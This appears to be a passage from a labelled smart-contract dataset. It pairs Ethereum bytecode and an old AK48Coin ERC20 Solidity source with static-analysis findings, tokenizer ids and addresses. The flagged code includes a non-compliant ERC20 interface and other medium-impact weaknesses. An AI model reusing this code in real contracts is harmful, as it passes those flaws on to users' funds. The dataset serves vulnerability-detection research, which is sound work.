1600160a01b031661313c84610d92565b6001600160a01b0316145b8061317757506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166131928261150f565b6001600160a01b0316146131fa5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610d27565b6001600160a01b03821661325c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610d27565b6132678383836139d7565b61327260008261301a565b6001600160a01b038316600090815260036020526040812080546001929061329b908490614ff2565b90915550506001600160a01b03821660009081526003602052604081208054600192906132c9908490614f82565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60003361333657600080fd5b600082116133865760405162461bcd60e51b815260206004820181905260248201527f4e543a204d757374206d696e74206174206c65617374206f6e6520746f6b656e6044820152606401610d27565b60145460ff16801561339f5750600061339d613943565b115b80156133af57506133af3361167f565b80156133e35750336000908152600e602052604090206001015460ff808216916133e0916101009091041684614f82565b11155b1561345b57336000908152600e60205260409020543490613405908490614fd3565b11156134535760405162461bcd60e51b815260206004820152601f60248201527f4e543a2050726573616c652c20696e73756666696369656e742066756e6473006044820152606401610d27565b506001919050565b60175460ff166134a65760405162461bcd60e51b81526020600482015260166024820152754e543a2053616c65206973206e6f742061637469766560501b6044820152606401610d27565b601a541561350c57601a546019546134be9084614f82565b111561350c5760405162461bcd60e51b815260206004820152601c60248201527f4e543a204c696d6974656420616d6f756e74206f6620746f6b656e73000000006044820152606401610d27565b601754610100900460ff1682111561357a5760405162461bcd60e51b815260206004820152602b60248201527f4e543a204c696d6974656420616d6f756e74206f6620746f6b656e7320696e2060448201526a3a3930b739b0b1ba34b7b760a91b6064820152608401610d27565b34826018546135899190614fd3565b11156135d05760405162461bcd60e51b81526020600482015260166024820152754e543a20496e73756666696369656e742066756e647360501b6044820152606401610d27565b506000919050565b6060600082516001600160401b038111156135f5576135f561513a565b60405190808252806020026020018201604052801561361e578160200160208202803683370190505b50905060005b83518110156136ee5761363633613a8f565b82828151811061364857613648615124565b60200260200101818152505061369082828151811061366957613669615124565b602002602001015185838151811061368357613683615124565b6020026020010151613ab2565b6136dc5760405162461bcd60e51b815260206004820152601b60248201527f4e543a204e616d652063616e6e6f742062652061737369676e656400000000006044820152606401610d27565b6136e7600182614f82565b9050613624565b5092915050565b6000610c65825490565b600061255b8383613ce6565b60608160005b81518110156136ee5761374382828151811061372f5761372f615124565b01602001516001600160f81b031916613d10565b82828151811061375557613755615124565b60200101906001600160f81b031916908160001a9053508061377681615093565b915050613711565b6001600160a01b0381166000908152600183016020526040812054151561255b565b60006019819055601a829055604051829142917ff403d999bb7ab2cf3b077b758050ab9a805fa792c7c63a66fb2c61c536940b929190a350565b600061255b836001600160a01b038416613d5f565b600061255b836001600160a01b038416613dae565b61380f84848461317f565b61381b84848484613ea1565b6124815760405162461bcd60e51b8152600401610d2790614d48565b6060601d8054610c7a90615058565b60608161386a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115613894578061387e81615093565b915061388d9050600a83614fbf565b915061386e565b6000816001600160401b038111156138ae576138ae61513a565b6040519080825280601f01601f1916602001820160405280156138d8576020820181803683370190505b5090505b8415613177576138ed600183614ff2565b91506138fa600a866150ce565b613905906030614f82565b60f81b81838151811061391a5761391a615124565b60200101906001600160f81b031916908160001a90535061393c600a86614fbf565b94506138dc565b60006016546000148061395f575060155461395c612ffc565b10155b1561396a5750600090565b4260155460165461397b9190614f82565b6122b29190614ff2565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316613a3257613a2d81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b613a55565b816001600160a01b0316836001600160a01b031614613a5557613a558382613fae565b6001600160a01b038216613a6c57610f388161404b565b826001600160a01b0316826001600160a01b031614610f3857610f3882826140fa565b600080613a9b60085490565b613aa6906001614f82565b9050610c65838261413e565b6000806060613ac084614158565b9092509050811580613af15750601c81604051613add9190614c3b565b908152602001604051809103902054600014155b80613b1b5750601381604051613b079190614c3b565b9081526040519081900360200190205460ff165b15613b2b57600092505050610c65565b601e5460ff1615613c1f5760405163b336ad8360e01b81526001600160a01b037f000000000000000000000000c9eef4c46abcb11002c9bb8a47445c96cdbcaffb169063b336ad8390613b82908490600401614d07565b60206040518083038186803b158015613b9a57600080fd5b505afa158015613bae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613bd29190614bc1565b15613c1f5760405162461bcd60e51b815260206004820152601b60248201527f4e543a204578697374206e616d6520696e2076657273696f6e203100000000006044820152606401610d27565b6000613c2a86612d08565b90506000613c378261370b565b90506000601c82604051613c4b9190614c3b565b9081526040805160209281900383019020929092556000898152601b8252919091208751613c7b928901906144af565b5086601c84604051613c8d9190614c3b565b908152602001604051809103902081905550867fd03378e710a4f526d1030d6dd70e5c0999dcaf843ca8a83aadcb0946a251de8e8388604051613cd1929190614d1a565b60405180910390a25060019695505050505050565b6000826000018281548110613cfd57613cfd615124565b9060005260206000200154905092915050565b6000606160f81b6001600160f81b0319831610801590613d3e5750603d60f91b6001600160f81b0319831611155b15613d5b57613d52602060f884901c615009565b60f81b92915050565b5090565b6000818152600183016020526040812054613da657508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610c65565b506000610c65565b60008181526001830160205260408120548015613e97576000613dd2600183614ff2565b8554909150600090613de690600190614ff2565b9050818114613e4b576000866000018281548110613e0657613e06615124565b9060005260206000200154905080876000018481548110613e2957613e29615124565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080613e5c57613e5c61510e565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610c65565b6000915050610c65565b60006001600160a01b0384163b15613fa357604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290613ee5903390899088908890600401614c86565b602060405180830381600087803b158015613eff57600080fd5b505af1925050508015613f2f575060408051601f3d908101601f19168201909252613f2c91810190614b33565b60015b613f89573d808015613f5d576040519150601f19603f3d011682016040523d82523d6000602084013e613f62565b606091505b508051613f815760405162461bcd60e51b8152600401610d2790614d48565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050613177565b506001949350505050565b60006001613fbb84611586565b613fc59190614ff2565b600083815260076020526040902054909150808214614018576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061405d90600190614ff2565b6000838152600960205260408120546008805493945090928490811061408557614085615124565b9060005260206000200154905080600883815481106140a6576140a6615124565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806140de576140de61510e565b6001900381819060005260206000200160009055905550505050565b600061410583611586565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b61141b82826040518060200160405280600081525061432e565b80516000906060908390614182576000604051806020016040528060008152509250925050915091565b6024815111156141a8576000604051806020016040528060008152509250925050915091565b600081516001600160401b038111156141c3576141c361513a565b6040519080825280601f01601f1916602001820160405280156141ed576020820181803683370190505b50905060005b82518160ff161015614321576000838260ff168151811061421657614216615124565b01602001516001600160f81b0319169050600360fc1b81108015906142495750603960f81b6001600160f81b0319821611155b15801561427f5750604160f81b6001600160f81b031982161080159061427d5750602d60f91b6001600160f81b0319821611155b155b80156142b45750606160f81b6001600160f81b03198216108015906142b25750603d60f91b6001600160f81b0319821611155b155b156142d8576000604051806020016040528060008152509550955050505050915091565b6142e181613d10565b838360ff16815181106142f6576142f6615124565b60200101906001600160f81b031916908160001a905350508080614319906150ae565b9150506141f3565b5060019590945092505050565b6143388383614361565b6143456000848484613ea1565b610f385760405162461bcd60e51b8152600401610d2790614d48565b6001600160a01b0382166143b75760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610d27565b6000818152600260205260409020546001600160a01b03161561441c5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610d27565b614428600083836139d7565b6001600160a01b0382166000908152600360205260408120805460019290614451908490614f82565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546144bb90615058565b90600052602060002090601f0160209004810192826144dd5760008555614523565b82601f106144f657805160ff1916838001178555614523565b82800160010185558215614523579182015b82811115614523578251825591602001919060010190614508565b50613d5b9291505b80821115613d5b576000815560010161452b565b60006001600160401b038311156145585761455861513a565b61456b601f8401601f1916602001614f2f565b905082815283838301111561457f57600080fd5b828260208301376000602084830101529392505050565b600082601f8301126145a757600080fd5b813560206145bc6145b783614f5f565b614f2f565b80838252828201915082860187848660051b89010111156145dc57600080fd5b60005b858110156146045781356145f281615150565b845292840192908401906001016145df565b5090979650505050505050565b600082601f83011261462257600080fd5b813560206146326145b783614f5f565b80838252828201915082860187848660051b890101111561465257600080fd5b6000805b868110156146945782356001600160401b03811115614673578283fd5b6146818b88838d010161477e565b8652509385019391850191600101614656565b509198975050505050505050565b600082601f8301126146b357600080fd5b813560206146c36145b783614f5f565b80838252828201915082860187848660051b89010111156146e357600080fd5b60005b85811015614604578135845292840192908401906001016146e6565b600082601f83011261471357600080fd5b813560206147236145b783614f5f565b80838252828201915082860187848660051b890101111561474357600080fd5b60005b85811015614604576147578261479e565b84529284019290840190600101614746565b8035801515811461477957600080fd5b919050565b600082601f83011261478f57600080fd5b61255b8383356020850161453f565b803560ff8116811461477957600080fd5b6000602082840312156147c157600080fd5b813561255b81615150565b600080604083850312156147df57600080fd5b82356147ea81615150565b946020939093013593505050565b6000806040838503121561480b57600080fd5b823561481681615150565b9150602083013561482681615150565b809150509250929050565b60008060006060848603121561484657600080fd5b833561485181615150565b9250602084013561486181615150565b929592945050506040919091013590565b6000806000806080858703121561488857600080fd5b843561489381615150565b935060208501356148a381615150565b92506040850135915060608501356001600160401b038111156148c557600080fd5b8501601f810187136148d657600080fd5b6148e58782356020840161453f565b91505092959194509250565b6000806040838503121561490457600080fd5b823561490f81615150565b915061491d60208401614769565b90509250929050565b60006020828403121561493857600080fd5b81356001600160401b0381111561494e57600080fd5b61317784828501614596565b60008060006060848603121561496f57600080fd5b83356001600160401b038082111561498657600080fd5b61499287838801614596565b945060208601359150808211156149a857600080fd5b6149b4878388016146a2565b935060408601359150808211156149ca57600080fd5b506149d786828701614702565b9150509250925092565b600080600080608085870312156149f757600080fd5b84356001600160401b0380821115614a0e57600080fd5b614a1a88838901614596565b95506020870135915080821115614a3057600080fd5b614a3c888389016146a2565b94506040870135915080821115614a5257600080fd5b614a5e88838901614702565b93506060870135915080821115614a7457600080fd5b506148e5878288016146a2565b600060208284031215614a9357600080fd5b81356001600160401b03811115614aa957600080fd5b61317784828501614611565b60008060408385031215614ac857600080fd5b82356001600160401b03811115614ade57600080fd5b614aea85828601614611565b925050602083013561482681615150565b600060208284031215614b0d57600080fd5b61255b82614769565b600060208284031215614b2857600080fd5b813561255b81615165565b600060208284031215614b4557600080fd5b815161255b81615165565b600060208284031215614b6257600080fd5b81356001600160401b03811115614b7857600080fd5b6131778482850161477e565b600060208284031215614b9657600080fd5b813561ffff8116811461255b57600080fd5b600060208284031215614bba57600080fd5b5035919050565b600060208284031215614bd357600080fd5b5051919050565b600080600060608486031215614bef57600080fd5b83359250614bff6020850161479e565b9150604084013590509250925092565b60008151808452614c2781602086016020860161502c565b601f01601f19169290920160200192915050565b60008251614c4d81846020870161502c565b9190910192915050565b60008351614c6981846020880161502c565b835190830190614c7d81836020880161502c565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090614cb990830184614c0f565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015614cfb57835183529284019291840191600101614cdf565b50909695505050505050565b60208152600061255b6020830184614c0f565b604081526000614d2d6040830185614c0f565b8281036020840152614d3f8185614c0f565b95945050505050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252602f908201527f4e543a20436f6e74726163742061646472657373206973206e6f7420696e207460408201526e1a1948185b1b1bddd959081b1a5cdd608a1b606082015260800190565b60208082526022908201527f4e543a204c697374206f662061646472657373657320697320746f6f206c6172604082015261676560f01b606082015260800190565b60208082526027908201527f4e543a20416c6c206c697374732073686f756c64206265207468652073616d65604082015266040d8cadccee8d60cb1b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082526019908201527f4e543a2050726573616c65206973206e6f742061637469766500000000000000604082015260600190565b604051601f8201601f191681016001600160401b0381118282101715614f5757614f5761513a565b604052919050565b60006001600160401b03821115614f7857614f7861513a565b5060051b60200190565b60008219821115614f9557614f956150e2565b500190565b600060ff821660ff84168060ff03821115614fb757614fb76150e2565b019392505050565b600082614fce57614fce6150f8565b500490565b6000816000190483118215151615614fed57614fed6150e2565b500290565b600082821015615004576150046150e2565b500390565b600060ff821660ff841680821015615023576150236150e2565b90039392505050565b60005b8381101561504757818101518382015260200161502f565b838111156124815750506000910152565b600181811c9082168061506c57607f821691505b6020821081141561508d57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156150a7576150a76150e2565b5060010190565b600060ff821660ff8114156150c5576150c56150e2565b60010192915050565b6000826150dd576150dd6150f8565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612d0557600080fd5b6001600160e01b031981168114612d0557600080fdfea2646970667358221220466fa08a72136e6f92ce99c9f8846e503e195fca808942173c74bd4cf66c254864736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2509, 9468, 2683, 2487, 3540, 12376, 2497, 22610, 12740, 6679, 2487, 2497, 22394, 4215, 2497, 2487, 2063, 16048, 2549, 2050, 2620, 2094, 2575, 2683, 2094, 2581, 2094, 2683, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 18413, 11795, 7911, 7174, 15557, 8663, 6494, 6593, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2193, 1997, 19204, 2015, 1999, 1036, 1036, 3954, 1036, 1036, 1005, 1055, 4070, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 1065, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,725
0x973d10ffcb71ff18713bab0ff26cd1ebb6a11d62
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract AK48Coin { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function AK48Coin( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce5671461026457806342966c681461029557806370a08231146102da57806379cc67901461033157806395d89b4114610396578063a9059cbb14610426578063cae9ca5114610473578063dd62ed3e1461051e575b600080fd5b3480156100cb57600080fd5b506100d4610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106c0565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b506102796107f3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102c060048036038101908080359060200190929190505050610806565b604051808215151515815260200191505060405180910390f35b3480156102e657600080fd5b5061031b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090a565b6040518082815260200191505060405180910390f35b34801561033d57600080fd5b5061037c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b3480156103a257600080fd5b506103ab610b3c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103eb5780820151818401526020810190506103d0565b50505050905090810190601f1680156104185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561043257600080fd5b50610471600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b005b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610be9565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561075357600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506107e8848484610d91565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561085657600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097257600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109fd57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd25780601f10610ba757610100808354040283529160200191610bd2565b820191906000526020600020905b815481529060010190602001808311610bb557829003601f168201915b505050505081565b610be5338383610d91565b5050565b600080849050610bf98585610633565b15610d63578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610cf3578082015181840152602081019050610cd8565b50505050905090810190601f168015610d205780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610d4257600080fd5b505af1158015610d56573d6000803e3d6000fd5b5050505060019150610d64565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610db857600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e0657600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610e9557600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156110a257fe5b505050505600a165627a7a723058201c1eeb3037cfc601f3421b5f89963c9339d03bc9affb55d0c90540a2602260bc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 29097, 10790, 4246, 27421, 2581, 2487, 4246, 15136, 2581, 17134, 3676, 2497, 2692, 4246, 23833, 19797, 2487, 15878, 2497, 2575, 27717, 2487, 2094, 2575, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 6327, 1025, 1065, 3206, 17712, 18139, 3597, 2378, 1063, 1013, 1013, 2270, 10857, 1997, 1996, 19204, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 1013, 1013, 2324, 26066, 2015, 2003, 1996, 6118, 4081, 12398, 1010, 4468, 5278, 2009, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,726
0x973DBa215b2DF2296113660C910494e9E38bD1fb
